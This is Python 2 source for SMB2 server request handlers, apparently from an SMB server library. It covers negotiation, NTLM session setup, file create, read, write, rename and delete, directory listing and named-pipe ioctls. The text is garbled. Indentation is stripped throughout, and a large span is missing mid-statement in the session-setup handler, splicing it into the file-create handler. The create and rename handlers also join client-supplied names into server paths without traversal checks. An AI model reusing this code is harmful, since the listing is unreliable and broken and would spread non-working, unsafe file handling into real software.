def smb2Negotiate(connId, smbServer, recvPacket, isSMB1 = False):
connData = smbServer.getConnectionData(connId, checkStatus = False)
respPacket = smb2.SMB2Packet()
respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR
respPacket['Status'] = STATUS_SUCCESS
respPacket['CreditRequestResponse'] = 1
respPacket['Command'] = smb2.SMB2_NEGOTIATE
respPacket['SessionID'] = 0
if isSMB1 is False:
respPacket['MessageID'] = recvPacket['MessageID']
else:
respPacket['MessageID'] = 0
respPacket['TreeID'] = 0
respSMBCommand = smb2.SMB2Negotiate_Response()
respSMBCommand['SecurityMode'] = 1
if isSMB1 is True:
# Let's first parse the packet to see if the client supports SMB2
SMBCommand = smb.SMBCommand(recvPacket['Data'][0])
dialects = SMBCommand['Data'].split('\x02')
if 'SMB 2.002\x00' in dialects or 'SMB 2.???\x00' in dialects:
respSMBCommand['DialectRevision'] = smb2.SMB2_DIALECT_002
else:
# Client does not support SMB2 fallbacking
raise Exception('SMB2 not supported, fallbacking')
else:
respSMBCommand['DialectRevision'] = smb2.SMB2_DIALECT_002
respSMBCommand['ServerGuid'] = 'A'*16
respSMBCommand['Capabilities'] = 0
respSMBCommand['MaxTransactSize'] = 65536
respSMBCommand['MaxReadSize'] = 65536
respSMBCommand['MaxWriteSize'] = 65536
respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))
respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))
respSMBCommand['SecurityBufferOffset'] = 0x80
blob = SPNEGO_NegTokenInit()
blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
respSMBCommand['Buffer'] = blob.getData()
respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])
respPacket['Data'] = respSMBCommand
smbServer.setConnectionData(connId, connData)
return None, [respPacket], STATUS_SUCCESS
@staticmethod
def smb2SessionSetup(connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId, checkStatus = False)
respSMBCommand = smb2.SMB2SessionSetup_Response()
sessionSetupData = smb2.SMB2SessionSetup(recvPacket['Data'])
connData['Capabilities'] = sessionSetupData['Capabilities']
securityBlob = sessionSetupData['Buffer']
rawNTLM = False
if struct.unpack('B',securityBlob[0])[0] == ASN1_AID:
# NEGOTIATE packet
blob = SPNEGO_NegTokenInit(securityBlob)
token = blob['MechToken']
if len(blob['MechTypes'][0]) > 0:
# Is this GSSAPI NTLM or something else we don't support?
mechType = blob['MechTypes'][0]
if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']:
# Nope, do we know it?
if MechTypes.has_key(mechType):
mechStr = MechTypes[mechType]
else:
mechStr = hexlify(mechType)
smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL)
# We don't know the token, we answer back again saying
# we just support NTLM.
# ToDo: Build this into a SPNEGO_NegTokenResp()
respToken = '\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
respSMBCommand['SecurityBufferOffset'] = 0x48
respSMBCommand['SecurityBufferLength'] = len(respToken)
respSMBCommand['Buffer'] = respToken
return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED
elif struct.unpack('B',securityBlob[0])[0] == ASN1_SUPPORTED_MECH:
# AUTH packet
blob = SPNEGO_NegTokenResp(securityBlob)
token = blob['ResponseToken']
else:
# No GSSAPI stuff, raw NTLMSSP
rawNTLM = True
token = securityBlob
# Here we only handle NTLMSSP, depending on what stage of the
# authentication we are, we act on it
messageType = struct.unpack(' 0 and (fileName[0] == '/' or fileName[0] == '\\'):
# strip leading '/'
fileName = fileName[1:]
pathName = os.path.join(path,fileName)
createDisposition = ntCreateRequest['CreateDisposition']
mode = 0
if createDisposition == smb2.FILE_SUPERSEDE:
mode |= os.O_TRUNC | os.O_CREAT
elif createDisposition & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF:
mode |= os.O_TRUNC | os.O_CREAT
elif createDisposition & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE:
if os.path.exists(pathName) is True:
mode |= os.O_TRUNC
else:
errorCode = STATUS_NO_SUCH_FILE
elif createDisposition & smb2.FILE_OPEN_IF == smb2.FILE_OPEN_IF:
if os.path.exists(pathName) is True:
mode |= os.O_TRUNC
else:
mode |= os.O_TRUNC | os.O_CREAT
elif createDisposition & smb2.FILE_CREATE == smb2.FILE_CREATE:
if os.path.exists(pathName) is True:
errorCode = STATUS_OBJECT_NAME_COLLISION
else:
mode |= os.O_CREAT
elif createDisposition & smb2.FILE_OPEN == smb2.FILE_OPEN:
if os.path.exists(pathName) is not True and smbServer.getRegisteredNamedPipes().has_key(unicode(pathName)) is not True:
errorCode = STATUS_NO_SUCH_FILE
if errorCode == STATUS_SUCCESS:
desiredAccess = ntCreateRequest['DesiredAccess']
if (desiredAccess & smb2.FILE_READ_DATA) or (desiredAccess & smb2.GENERIC_READ):
mode |= os.O_RDONLY
if (desiredAccess & smb2.FILE_WRITE_DATA) or (desiredAccess & smb2.GENERIC_WRITE):
if (desiredAccess & smb2.FILE_READ_DATA) or (desiredAccess & smb2.GENERIC_READ):
mode |= os.O_RDWR #| os.O_APPEND
else:
mode |= os.O_WRONLY #| os.O_APPEND
if desiredAccess & smb2.GENERIC_ALL:
mode |= os.O_RDWR #| os.O_APPEND
createOptions = ntCreateRequest['CreateOptions']
if mode & os.O_CREAT == os.O_CREAT:
if createOptions & smb2.FILE_DIRECTORY_FILE == smb2.FILE_DIRECTORY_FILE:
try:
# Let's create the directory
os.mkdir(pathName)
mode = os.O_RDONLY
except Exception, e:
smbServer.log("SMB2_CREATE: %s,%s,%s" % (pathName,mode,e),logging.ERROR)
errorCode = STATUS_ACCESS_DENIED
if createOptions & smb2.FILE_NON_DIRECTORY_FILE == smb2.FILE_NON_DIRECTORY_FILE:
# If the file being opened is a directory, the server MUST fail the request with
# STATUS_FILE_IS_A_DIRECTORY in the Status field of the SMB Header in the server
# response.
if os.path.isdir(pathName) is True:
errorCode = STATUS_FILE_IS_A_DIRECTORY
if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE:
deleteOnClose = True
if errorCode == STATUS_SUCCESS:
try:
if os.path.isdir(pathName) and sys.platform == 'win32':
fid = VOID_FILE_DESCRIPTOR
else:
if sys.platform == 'win32':
mode |= os.O_BINARY
if smbServer.getRegisteredNamedPipes().has_key(unicode(pathName)):
fid = PIPE_FILE_DESCRIPTOR
sock = socket.socket()
sock.connect(smbServer.getRegisteredNamedPipes()[unicode(pathName)])
else:
fid = os.open(pathName, mode)
except Exception, e:
smbServer.log("SMB2_CREATE: %s,%s,%s" % (pathName,mode,e),logging.ERROR)
#print e
fid = 0
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_SMB_BAD_TID
if errorCode == STATUS_SUCCESS:
# Simple way to generate a fid
fakefid = uuid.generate()
respSMBCommand['FileID'] = fakefid
respSMBCommand['CreateAction'] = createDisposition
if fid == PIPE_FILE_DESCRIPTOR:
respSMBCommand['CreationTime'] = 0
respSMBCommand['LastAccessTime'] = 0
respSMBCommand['LastWriteTime'] = 0
respSMBCommand['ChangeTime'] = 0
respSMBCommand['AllocationSize'] = 4096
respSMBCommand['EndOfFile'] = 0
respSMBCommand['FileAttributes'] = 0x80
else:
if os.path.isdir(pathName):
respSMBCommand['FileAttributes'] = smb.SMB_FILE_ATTRIBUTE_DIRECTORY
else:
respSMBCommand['FileAttributes'] = ntCreateRequest['FileAttributes']
# Let's get this file's information
respInfo, errorCode = queryPathInformation('',pathName,level= smb.SMB_QUERY_FILE_ALL_INFO)
if errorCode == STATUS_SUCCESS:
respSMBCommand['CreationTime'] = respInfo['CreationTime']
respSMBCommand['LastAccessTime'] = respInfo['LastAccessTime']
respSMBCommand['LastWriteTime'] = respInfo['LastWriteTime']
respSMBCommand['LastChangeTime'] = respInfo['LastChangeTime']
respSMBCommand['FileAttributes'] = respInfo['ExtFileAttributes']
respSMBCommand['AllocationSize'] = respInfo['AllocationSize']
respSMBCommand['EndOfFile'] = respInfo['EndOfFile']
if errorCode == STATUS_SUCCESS:
# Let's store the fid for the connection
# smbServer.log('Create file %s, mode:0x%x' % (pathName, mode))
connData['OpenedFiles'][fakefid] = {}
connData['OpenedFiles'][fakefid]['FileHandle'] = fid
connData['OpenedFiles'][fakefid]['FileName'] = pathName
connData['OpenedFiles'][fakefid]['DeleteOnClose'] = deleteOnClose
connData['OpenedFiles'][fakefid]['Open'] = {}
connData['OpenedFiles'][fakefid]['Open']['EnumerationLocation'] = 0
connData['OpenedFiles'][fakefid]['Open']['EnumerationSearchPattern'] = ''
if fid == PIPE_FILE_DESCRIPTOR:
connData['OpenedFiles'][fakefid]['Socket'] = sock
else:
respSMBCommand = smb2.SMB2Error()
if errorCode == STATUS_SUCCESS:
connData['LastRequest']['SMB2_CREATE'] = respSMBCommand
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smb2Close(connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb2.SMB2Close_Response()
closeRequest = smb2.SMB2Close(recvPacket['Data'])
if str(closeRequest['FileID']) == '\xff'*16:
# Let's take the data from the lastRequest
if connData['LastRequest'].has_key('SMB2_CREATE'):
fileID = connData['LastRequest']['SMB2_CREATE']['FileID']
else:
fileID = str(closeRequest['FileID'])
else:
fileID = str(closeRequest['FileID'])
if connData['OpenedFiles'].has_key(fileID):
errorCode = STATUS_SUCCESS
fileHandle = connData['OpenedFiles'][fileID]['FileHandle']
pathName = connData['OpenedFiles'][fileID]['FileName']
infoRecord = None
try:
if fileHandle == PIPE_FILE_DESCRIPTOR:
connData['OpenedFiles'][fileID]['Socket'].close()
elif fileHandle != VOID_FILE_DESCRIPTOR:
os.close(fileHandle)
infoRecord, errorCode = queryFileInformation(os.path.dirname(pathName), os.path.basename(pathName), smb2.SMB2_FILE_NETWORK_OPEN_INFO)
except Exception, e:
smbServer.log("SMB2_CLOSE %s" % e, logging.ERROR)
errorCode = STATUS_INVALID_HANDLE
else:
# Check if the file was marked for removal
if connData['OpenedFiles'][fileID]['DeleteOnClose'] is True:
try:
if os.path.isdir(pathName):
shutil.rmtree(connData['OpenedFiles'][fileID]['FileName'])
else:
os.remove(connData['OpenedFiles'][fileID]['FileName'])
except Exception, e:
smbServer.log("SMB2_CLOSE %s" % e, logging.ERROR)
errorCode = STATUS_ACCESS_DENIED
# Now fill out the response
if infoRecord is not None:
respSMBCommand['CreationTime'] = infoRecord['CreationTime']
respSMBCommand['LastAccessTime'] = infoRecord['LastAccessTime']
respSMBCommand['LastWriteTime'] = infoRecord['LastWriteTime']
respSMBCommand['ChangeTime'] = infoRecord['ChangeTime']
respSMBCommand['AllocationSize'] = infoRecord['AllocationSize']
respSMBCommand['EndofFile'] = infoRecord['EndOfFile']
respSMBCommand['FileAttributes'] = infoRecord['FileAttributes']
if errorCode == STATUS_SUCCESS:
del(connData['OpenedFiles'][fileID])
else:
errorCode = STATUS_INVALID_HANDLE
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smb2QueryInfo(connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb2.SMB2QueryInfo_Response()
queryInfo = smb2.SMB2QueryInfo(recvPacket['Data'])
errorCode = STATUS_SUCCESS
respSMBCommand['OutputBufferOffset'] = 0x48
respSMBCommand['Buffer'] = '\x00'
if str(queryInfo['FileID']) == '\xff'*16:
# Let's take the data from the lastRequest
if connData['LastRequest'].has_key('SMB2_CREATE'):
fileID = connData['LastRequest']['SMB2_CREATE']['FileID']
else:
fileID = str(queryInfo['FileID'])
else:
fileID = str(queryInfo['FileID'])
if connData['ConnectedShares'].has_key(recvPacket['TreeID']):
if connData['OpenedFiles'].has_key(fileID):
fileName = connData['OpenedFiles'][fileID]['FileName']
if queryInfo['InfoType'] == smb2.SMB2_0_INFO_FILE:
if queryInfo['FileInfoClass'] == smb2.SMB2_FILE_INTERNAL_INFO:
# No need to call queryFileInformation, we have the data here
infoRecord = smb2.FileInternalInformation()
infoRecord['IndexNumber'] = fileID
else:
infoRecord, errorCode = queryFileInformation(os.path.dirname(fileName), os.path.basename(fileName), queryInfo['FileInfoClass'])
elif queryInfo['InfoType'] == smb2.SMB2_0_INFO_FILESYSTEM:
infoRecord = queryFsInformation(os.path.dirname(fileName), os.path.basename(fileName), queryInfo['FileInfoClass'])
elif queryInfo['InfoType'] == smb2.SMB2_0_INFO_SECURITY:
# Failing for now, until we support it
infoRecord = None
errorCode = STATUS_ACCESS_DENIED
else:
smbServer.log("queryInfo not supported (%x)" % queryInfo['InfoType'], logging.ERROR)
if infoRecord is not None:
respSMBCommand['OutputBufferLength'] = len(infoRecord)
respSMBCommand['Buffer'] = infoRecord
else:
errorCode = STATUS_INVALID_HANDLE
else:
errorCode = STATUS_SMB_BAD_TID
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smb2SetInfo(connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb2.SMB2SetInfo_Response()
setInfo = smb2.SMB2SetInfo(recvPacket['Data'])
errorCode = STATUS_SUCCESS
if str(setInfo['FileID']) == '\xff'*16:
# Let's take the data from the lastRequest
if connData['LastRequest'].has_key('SMB2_CREATE'):
fileID = connData['LastRequest']['SMB2_CREATE']['FileID']
else:
fileID = str(setInfo['FileID'])
else:
fileID = str(setInfo['FileID'])
if connData['ConnectedShares'].has_key(recvPacket['TreeID']):
path = connData['ConnectedShares'][recvPacket['TreeID']]['path']
if connData['OpenedFiles'].has_key(fileID):
pathName = connData['OpenedFiles'][fileID]['FileName']
if setInfo['InfoType'] == smb2.SMB2_0_INFO_FILE:
# The file information is being set
informationLevel = setInfo['FileInfoClass']
if informationLevel == smb2.SMB2_FILE_DISPOSITION_INFO:
infoRecord = smb.SMBSetFileDispositionInfo(setInfo['Buffer'])
if infoRecord['DeletePending'] > 0:
# Mark this file for removal after closed
connData['OpenedFiles'][fileID]['DeleteOnClose'] = True
elif informationLevel == smb2.SMB2_FILE_BASIC_INFO:
infoRecord = smb.SMBSetFileBasicInfo(setInfo['Buffer'])
# Creation time won't be set, the other ones we play with.
atime = infoRecord['LastWriteTime']
if atime == 0:
atime = -1
else:
atime = getUnixTime(atime)
mtime = infoRecord['ChangeTime']
if mtime == 0:
mtime = -1
else:
mtime = getUnixTime(mtime)
if atime > 0 and mtime > 0:
os.utime(pathName,(atime,mtime))
elif informationLevel == smb2.SMB2_FILE_END_OF_FILE_INFO:
fileHandle = connData['OpenedFiles'][fileID]['FileHandle']
infoRecord = smb.SMBSetFileEndOfFileInfo(setInfo['Buffer'])
if infoRecord['EndOfFile'] > 0:
os.lseek(fileHandle, infoRecord['EndOfFile']-1, 0)
os.write(fileHandle, '\x00')
elif informationLevel == smb2.SMB2_FILE_RENAME_INFO:
renameInfo = smb2.FILE_RENAME_INFORMATION_TYPE_2(setInfo['Buffer'])
newPathName = os.path.join(path,renameInfo['FileName'].decode('utf-16le').replace('\\', '/'))
if renameInfo['ReplaceIfExists'] == 0 and os.path.exists(newPathName):
return [smb2.SMB2Error()], None, STATUS_OBJECT_NAME_COLLISION
try:
os.rename(pathName,newPathName)
connData['OpenedFiles'][fileID]['FileName'] = newPathName
except Exception, e:
smbServer.log("smb2SetInfo: %s" % e, logging.ERROR)
errorCode = STATUS_ACCESS_DENIED
else:
smbServer.log('Unknown level for set file info! 0x%x' % informationLevel, logging.ERROR)
# UNSUPPORTED
errorCode = STATUS_NOT_SUPPORTED
#elif setInfo['InfoType'] == smb2.SMB2_0_INFO_FILESYSTEM:
# # The underlying object store information is being set.
# setInfo = queryFsInformation('/', fileName, queryInfo['FileInfoClass'])
#elif setInfo['InfoType'] == smb2.SMB2_0_INFO_SECURITY:
# # The security information is being set.
# # Failing for now, until we support it
# infoRecord = None
# errorCode = STATUS_ACCESS_DENIED
#elif setInfo['InfoType'] == smb2.SMB2_0_INFO_QUOTA:
# # The underlying object store quota information is being set.
# setInfo = queryFsInformation('/', fileName, queryInfo['FileInfoClass'])
else:
smbServer.log("setInfo not supported (%x)" % setInfo['InfoType'], logging.ERROR)
else:
errorCode = STATUS_INVALID_HANDLE
else:
errorCode = STATUS_SMB_BAD_TID
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smb2Write(connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb2.SMB2Write_Response()
writeRequest = smb2.SMB2Write(recvPacket['Data'])
respSMBCommand['Buffer'] = '\x00'
if str(writeRequest['FileID']) == '\xff'*16:
# Let's take the data from the lastRequest
if connData['LastRequest'].has_key('SMB2_CREATE'):
fileID = connData['LastRequest']['SMB2_CREATE']['FileID']
else:
fileID = str(writeRequest['FileID'])
else:
fileID = str(writeRequest['FileID'])
if connData['OpenedFiles'].has_key(fileID):
fileHandle = connData['OpenedFiles'][fileID]['FileHandle']
errorCode = STATUS_SUCCESS
try:
if fileHandle != PIPE_FILE_DESCRIPTOR:
offset = writeRequest['Offset']
# If we're trying to write past the file end we just skip the write call (Vista does this)
if os.lseek(fileHandle, 0, 2) >= offset:
os.lseek(fileHandle,offset,0)
os.write(fileHandle,writeRequest['Buffer'])
else:
sock = connData['OpenedFiles'][fileID]['Socket']
sock.send(writeRequest['Buffer'])
respSMBCommand['Count'] = writeRequest['Length']
respSMBCommand['Remaining']= 0xff
except Exception, e:
smbServer.log('SMB2_WRITE: %s' % e, logging.ERROR)
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_INVALID_HANDLE
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smb2Read(connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb2.SMB2Read_Response()
readRequest = smb2.SMB2Read(recvPacket['Data'])
respSMBCommand['Buffer'] = '\x00'
if str(readRequest['FileID']) == '\xff'*16:
# Let's take the data from the lastRequest
if connData['LastRequest'].has_key('SMB2_CREATE'):
fileID = connData['LastRequest']['SMB2_CREATE']['FileID']
else:
fileID = str(readRequest['FileID'])
else:
fileID = str(readRequest['FileID'])
if connData['OpenedFiles'].has_key(fileID):
fileHandle = connData['OpenedFiles'][fileID]['FileHandle']
errorCode = 0
try:
if fileHandle != PIPE_FILE_DESCRIPTOR:
offset = readRequest['Offset']
os.lseek(fileHandle,offset,0)
content = os.read(fileHandle,readRequest['Length'])
else:
sock = connData['OpenedFiles'][fileID]['Socket']
content = sock.recv(readRequest['Length'])
respSMBCommand['DataOffset'] = 0x50
respSMBCommand['DataLength'] = len(content)
respSMBCommand['DataRemaining']= 0
respSMBCommand['Buffer'] = content
except Exception, e:
smbServer.log('SMB2_READ: %s ' % e, logging.ERROR)
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_INVALID_HANDLE
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smb2Flush(connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb2.SMB2Flush_Response()
flushRequest = smb2.SMB2Flush(recvPacket['Data'])
if connData['OpenedFiles'].has_key(str(flushRequest['FileID'])):
fileHandle = connData['OpenedFiles'][str(flushRequest['FileID'])]['FileHandle']
errorCode = STATUS_SUCCESS
try:
os.fsync(fileHandle)
except Exception, e:
smbServer.log("SMB2_FLUSH %s" % e, logging.ERROR)
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_INVALID_HANDLE
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smb2QueryDirectory(connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb2.SMB2QueryDirectory_Response()
queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data'])
respSMBCommand['Buffer'] = '\x00'
# The server MUST locate the tree connection, as specified in section 3.3.5.2.11.
if connData['ConnectedShares'].has_key(recvPacket['TreeID']) is False:
return [smb2.SMB2Error()], None, STATUS_NETWORK_NAME_DELETED
# Next, the server MUST locate the open for the directory to be queried
# If no open is found, the server MUST fail the request with STATUS_FILE_CLOSED
if str(queryDirectoryRequest['FileID']) == '\xff'*16:
# Let's take the data from the lastRequest
if connData['LastRequest'].has_key('SMB2_CREATE'):
fileID = connData['LastRequest']['SMB2_CREATE']['FileID']
else:
fileID = str(queryDirectoryRequest['FileID'])
else:
fileID = str(queryDirectoryRequest['FileID'])
if connData['OpenedFiles'].has_key(fileID) is False:
return [smb2.SMB2Error()], None, STATUS_FILE_CLOSED
# If the open is not an open to a directory, the request MUST be failed
# with STATUS_INVALID_PARAMETER.
if os.path.isdir(connData['OpenedFiles'][fileID]['FileName']) is False:
return [smb2.SMB2Error()], None, STATUS_INVALID_PARAMETER
# If any other information class is specified in the FileInformationClass
# field of the SMB2 QUERY_DIRECTORY Request, the server MUST fail the
# operation with STATUS_INVALID_INFO_CLASS.
if queryDirectoryRequest['FileInformationClass'] not in (
smb2.FILE_DIRECTORY_INFORMATION, smb2.FILE_FULL_DIRECTORY_INFORMATION, smb2.FILEID_FULL_DIRECTORY_INFORMATION,
smb2.FILE_BOTH_DIRECTORY_INFORMATION, smb2.FILEID_BOTH_DIRECTORY_INFORMATION, smb2.FILENAMES_INFORMATION):
return [smb2.SMB2Error()], None, STATUS_INVALID_INFO_CLASS
# If SMB2_REOPEN is set in the Flags field of the SMB2 QUERY_DIRECTORY
# Request, the server SHOULD<326> set Open.EnumerationLocation to 0
# and Open.EnumerationSearchPattern to an empty string.
if queryDirectoryRequest['Flags'] & smb2.SMB2_REOPEN:
connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] = 0
connData['OpenedFiles'][fileID]['Open']['EnumerationSearchPattern'] = ''
# If SMB2_RESTART_SCANS is set in the Flags field of the SMB2
# QUERY_DIRECTORY Request, the server MUST set
# Open.EnumerationLocation to 0.
if queryDirectoryRequest['Flags'] & smb2.SMB2_RESTART_SCANS:
connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] = 0
# If Open.EnumerationLocation is 0 and Open.EnumerationSearchPattern
# is an empty string, then Open.EnumerationSearchPattern MUST be set
# to the search pattern specified in the SMB2 QUERY_DIRECTORY by
# FileNameOffset and FileNameLength. If FileNameLength is 0, the server
# SHOULD<327> set Open.EnumerationSearchPattern as "*" to search all entries.
pattern = queryDirectoryRequest['Buffer'].decode('utf-16le')
if connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] == 0 and \
connData['OpenedFiles'][fileID]['Open']['EnumerationSearchPattern'] == '':
if pattern == '':
pattern = '*'
connData['OpenedFiles'][fileID]['Open']['EnumerationSearchPattern'] = pattern
# If SMB2_INDEX_SPECIFIED is set and FileNameLength is not zero,
# the server MUST set Open.EnumerationSearchPattern to the search pattern
# specified in the request by FileNameOffset and FileNameLength.
if queryDirectoryRequest['Flags'] & smb2.SMB2_INDEX_SPECIFIED and \
queryDirectoryRequest['FileNameLength'] > 0:
connData['OpenedFiles'][fileID]['Open']['EnumerationSearchPattern'] = pattern
pathName = os.path.join(os.path.normpath(connData['OpenedFiles'][fileID]['FileName']),pattern)
searchResult, searchCount, errorCode = findFirst2(os.path.dirname(pathName),
os.path.basename(pathName),
queryDirectoryRequest['FileInformationClass'],
smb.ATTR_DIRECTORY, isSMB2 = True )
if errorCode != STATUS_SUCCESS:
return [smb2.SMB2Error()], None, errorCode
if searchCount > 2 and pattern == '*':
# strip . and ..
searchCount -= 2
searchResult = searchResult[2:]
if searchCount == 0 and connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] == 0:
return [smb2.SMB2Error()], None, STATUS_NO_SUCH_FILE
if connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] < 0:
return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES
totalData = 0
respData = ''
for nItem in range(connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'], searchCount):
connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] += 1
if queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY:
# If single entry is requested we must clear the NextEntryOffset
searchResult[nItem]['NextEntryOffset'] = 0
data = searchResult[nItem].getData()
lenData = len(data)
padLen = (8-(lenData % 8)) %8
if (totalData+lenData) >= queryDirectoryRequest['OutputBufferLength']:
connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] -= 1
break
else:
respData += data + '\x00'*padLen
totalData += lenData + padLen
if queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY:
break
if connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] >= searchCount:
connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] = -1
respSMBCommand['OutputBufferOffset'] = 0x48
respSMBCommand['OutputBufferLength'] = totalData
respSMBCommand['Buffer'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smb2ChangeNotify(connId, smbServer, recvPacket):
return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED
@staticmethod
def smb2Echo(connId, smbServer, recvPacket):
respSMBCommand = smb2.SMB2Echo_Response()
return [respSMBCommand], None, STATUS_SUCCESS
@staticmethod
def smb2TreeDisconnect(connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb2.SMB2TreeDisconnect_Response()
if connData['ConnectedShares'].has_key(recvPacket['TreeID']):
smbServer.log("Disconnecting Share(%d:%s)" % (recvPacket['TreeID'],connData['ConnectedShares'][recvPacket['TreeID']]['shareName']))
del(connData['ConnectedShares'][recvPacket['TreeID']])
errorCode = STATUS_SUCCESS
else:
# STATUS_SMB_BAD_TID
errorCode = STATUS_SMB_BAD_TID
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smb2Logoff(connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb2.SMB2Logoff_Response()
if recvPacket['SessionID'] != connData['Uid']:
# STATUS_SMB_BAD_UID
errorCode = STATUS_SMB_BAD_UID
else:
errorCode = STATUS_SUCCESS
connData['Uid'] = 0
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smb2Ioctl(connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb2.SMB2Ioctl_Response()
ioctlRequest = smb2.SMB2Ioctl(recvPacket['Data'])
ioctls = smbServer.getIoctls()
if ioctls.has_key(ioctlRequest['CtlCode']):
outputData, errorCode = ioctls[ioctlRequest['CtlCode']](connId, smbServer, ioctlRequest)
if errorCode == STATUS_SUCCESS:
respSMBCommand['CtlCode'] = ioctlRequest['CtlCode']
respSMBCommand['FileID'] = ioctlRequest['FileID']
respSMBCommand['InputOffset'] = 0
respSMBCommand['InputCount'] = 0
respSMBCommand['OutputOffset'] = 0x70
respSMBCommand['OutputCount'] = len(outputData)
respSMBCommand['Flags'] = 0
respSMBCommand['Buffer'] = outputData
else:
respSMBCommand = outputData
else:
smbServer.log("Ioctl not implemented command: 0x%x" % ioctlRequest['CtlCode'],logging.DEBUG)
errorCode = STATUS_INVALID_DEVICE_REQUEST
respSMBCommand = smb2.SMB2Error()
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smb2Lock(connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb2.SMB2Lock_Response()
# I'm actually doing nothing.. just make MacOS happy ;)
errorCode = STATUS_SUCCESS
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smb2Cancel(connId, smbServer, recvPacket):
# I'm actually doing nothing
return [smb2.SMB2Error()], None, STATUS_CANCELLED
@staticmethod
def default(connId, smbServer, recvPacket):
# By default we return an SMB Packet with error not implemented
smbServer.log("Not implemented command: 0x%x" % recvPacket['Command'],logging.DEBUG)
return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED
class Ioctls:
@staticmethod
def fsctlDfsGetReferrals(connId, smbServer, ioctlRequest):
return smb2.SMB2Error(), STATUS_FS_DRIVER_REQUIRED
@staticmethod
def fsctlPipeTransceive(connId, smbServer, ioctlRequest):
connData = smbServer.getConnectionData(connId)
ioctlResponse = ''
if connData['OpenedFiles'].has_key(str(ioctlRequest['FileID'])):
fileHandle = connData['OpenedFiles'][str(ioctlRequest['FileID'])]['FileHandle']
errorCode = STATUS_SUCCESS
try:
if fileHandle != PIPE_FILE_DESCRIPTOR:
errorCode = STATUS_INVALID_DEVICE_REQUEST
else:
sock = connData['OpenedFiles'][str(ioctlRequest['FileID'])]['Socket']
sock.sendall(ioctlRequest['Buffer'])
ioctlResponse = sock.recv(ioctlRequest['MaxOutputResponse'])
except Exception, e:
smbServer.log('fsctlPipeTransceive: %s ' % e, logging.ERROR)
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_INVALID_DEVICE_REQUEST
smbServer.setConnectionData(connId, connData)
return ioctlResponse, errorCode
@staticmethod
def fsctlValidateNegotiateInfo(connId, smbServer, ioctlRequest):
connData = smbServer.getConnectionData(connId)
errorCode = STATUS_SUCCESS
validateNegotiateInfo = smb2.VALIDATE_NEGOTIATE_INFO(ioctlRequest['Buffer'])
validateNegotiateInfo['Capabilities'] = 0
validateNegotiateInfo['Guid'] = 'A'*16
validateNegotiateInfo['SecurityMode'] = 1
validateNegotiateInfo['Dialects'] = (smb2.SMB2_DIALECT_002,)
smbServer.setConnectionData(connId, connData)
return validateNegotiateInfo.getData(), errorCode
